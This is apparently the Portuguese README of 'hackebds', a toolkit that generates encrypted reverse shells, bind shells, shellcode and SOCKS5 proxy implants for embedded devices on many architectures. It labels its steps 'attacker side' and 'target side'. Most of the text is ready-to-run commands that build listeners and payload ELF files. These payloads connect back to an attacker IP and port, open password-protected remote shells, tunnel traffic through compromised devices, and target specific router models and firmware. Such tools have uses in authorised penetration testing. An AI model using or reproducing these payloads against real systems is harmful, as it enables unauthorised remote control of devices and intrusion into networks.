
Esta ferramenta é usada para criptografar backdoor,shellcode,geração de proxy socks5,recuperação de informações e organização de POC para dispositivos de várias arquiteturas.
hackebds é um kit de ferramentas para geração de payloads para dispositivos embarcados, fluxos de trabalho de shell criptografado, túneis proxy SOCKS5 e consulta de informações do dispositivo.
O branch atual usa um fluxo de trabalho ELF puro para recursos de shell criptografado e proxy:
reverse_shell_file + encrypted_shell_server / reverse_shell_serverbind_shell + bind_shell_clientreverse_proxy_file + reverse_proxy_serverforward_proxy_fileencrypted_shell_server / reverse_shell_server para que shells reversos criptografados possam ser recebidos sem manipuladores de tempo de execução Pythonbind_shell_client para bind_shellaes e chacha20 para tráfego de shell/proxy criptografado-bind_ip para binários ELF do lado do ouvinte, como bind_shell, encrypted_shell_server, reverse_proxy_server e forward_proxy_filereverse_shell_file e como payloads de saída: eles usam e não vinculam um IP de ouvinte localpython3 -m pip install -U hackebds
Instalação para desenvolvimento local:
git clone https://github.com/doudoudedi/hackEmbedded
cd hackEmbedded
python3 -m pip install -e .
Se você recompilar as wheels de lançamento em outro host, use o zip de origem e o build_release.py.
unzip hackebds-0.4.3-source-for-x86-build.zip
cd hackebds-0.4.0.backup-20260411T142751Z
python3 -m pip install -U pip setuptools wheel cython
python3 build_release.py --plat manylinux2014_x86_64
Instale os binutils da arquitetura alvo antes de gerar arquivos ELF não nativos.
sudo apt install binutils-aarch64-linux-gnu
sudo apt install binutils-arm-linux-gnueabi
sudo apt install binutils-mips-linux-gnu
sudo apt install binutils-mipsel-linux-gnu
sudo apt install binutils-mips64-linux-gnuabi64
sudo apt install binutils-mips64el-linux-gnuabi64
sudo apt install binutils-powerpc-linux-gnu
sudo apt install binutils-riscv64-linux-gnu
Usuários de macOS podem usar os binutils do pwntools:
brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/osx/binutils-$ARCH.rb
Lado do atacante:
hackebds -arch x64 -res encrypted_shell_server \
-reverse_port 4444 \
-bind_ip 192.168.56.1 \
-cipher chacha20 -encrypt_key "demo-key" \
-filename reverse_server.elf
chmod +x reverse_server.elf
./reverse_server.elf
Lado do alvo:
hackebds -arch mipsel -res reverse_shell_file \
-reverse_ip 192.168.56.1 -reverse_port 4444 \
-cipher chacha20 -encrypt_key "demo-key" \
-filename reverse_payload.elf
chmod +x reverse_payload.elf
./reverse_payload.elf
Notas:
reverse_shell_file não suporta -bind_ipencrypted_shell_server suporta -bind_ip-cipher chacha20 para -cipher aes para usar AESLado do alvo:
hackebds -arch aarch64 -res bind_shell \
-bind_port 5555 \
-bind_ip 192.168.56.20 \
-passwd "s3cr3t" \
-cipher chacha20 -encrypt_key "demo-key" \
-filename bind_shell.elf
chmod +x bind_shell.elf
./bind_shell.elf
Lado do atacante:
hackebds -arch x64 -res bind_shell_client \
-reverse_ip 192.168.56.20 -reverse_port 5555 \
-cipher chacha20 -encrypt_key "demo-key" \
-filename bind_client.elf
chmod +x bind_client.elf
./bind_client.elf
Em seguida, digite:
s3cr3t
id
uname -a
exit
Ouvinte:
hackebds -arch x64 -res encrypted_shell_server --power \
-reverse_port 4444 \
-bind_ip 192.168.56.1 \
-cipher chacha20 -encrypt_key "demo-key" \
-filename power_server.elf
./power_server.elf
Payload:
hackebds -arch armelv7 -res reverse_shell_file --power -sleep 10 \
-reverse_ip 192.168.56.1 -reverse_port 4444 \
-cipher chacha20 -encrypt_key "demo-key" \
-filename power_payload.elf
Servidor:
hackebds -arch x64 -res reverse_proxy_server \
-agent_port 7000 -socks_port 1080 \
-bind_ip 192.168.56.1 \
-cipher chacha20 -encrypt_key "demo-key" \
-filename reverse_proxy_server.elf
chmod +x reverse_proxy_server.elf
./reverse_proxy_server.elf
Agente:
hackebds -arch mips64el -res reverse_proxy_file \
-reverse_ip 192.168.56.1 -reverse_port 7000 \
-cipher chacha20 -encrypt_key "demo-key" \
-filename reverse_proxy_agent.elf
chmod +x reverse_proxy_agent.elf
./reverse_proxy_agent.elf
Teste:
curl --socks5-hostname 127.0.0.1:1080 http://example.com/
Servidor com autenticação:
hackebds -arch x64 -res reverse_proxy_server \
-agent_port 7000 -socks_port 1080 \
-bind_ip 192.168.56.1 \
-socks_auth user:pass \
-cipher aes -encrypt_key "demo-key" \
-filename reverse_proxy_server_auth.elf
Nota sobre UDP:
sparc / sparc64 não devem ser tratados como compatíveis com UDPhackebds -arch x64 -res forward_proxy_file \
-listen_port 1081 \
-bind_ip 192.168.56.1 \
-filename forward_proxy.elf
chmod +x forward_proxy.elf
./forward_proxy.elf
Teste:
curl --socks5-hostname 127.0.0.1:1081 http://example.com/
hackebds -arch armelv7 -res reverse_shellcode \
-reverse_ip 192.168.56.1 -reverse_port 4444
-modelhackebds -reverse_ip 127.0.0.1 -reverse_port 9999 \
-model DIR-816 -res reverse_shell_file
--mcpuhackebds -mcpu mips32r2 -li -arch mipsel \
-reverse_ip 127.0.0.1 -reverse_port 9999 \
-res reverse_shell_file
--firmwarehackebds --firmware ./firmware.bin
-bind_ip é apenas para arquivos ELF do lado do ouvintereverse_shell_file e reverse_proxy_file são payloads de saída e não vinculam um IP de ouvinte localreverse_proxy_server e forward_proxy_file suportam -bind_ipchacha20 e aes, desde que ambos os lados correspondamreverse_proxy_file-reverse_ip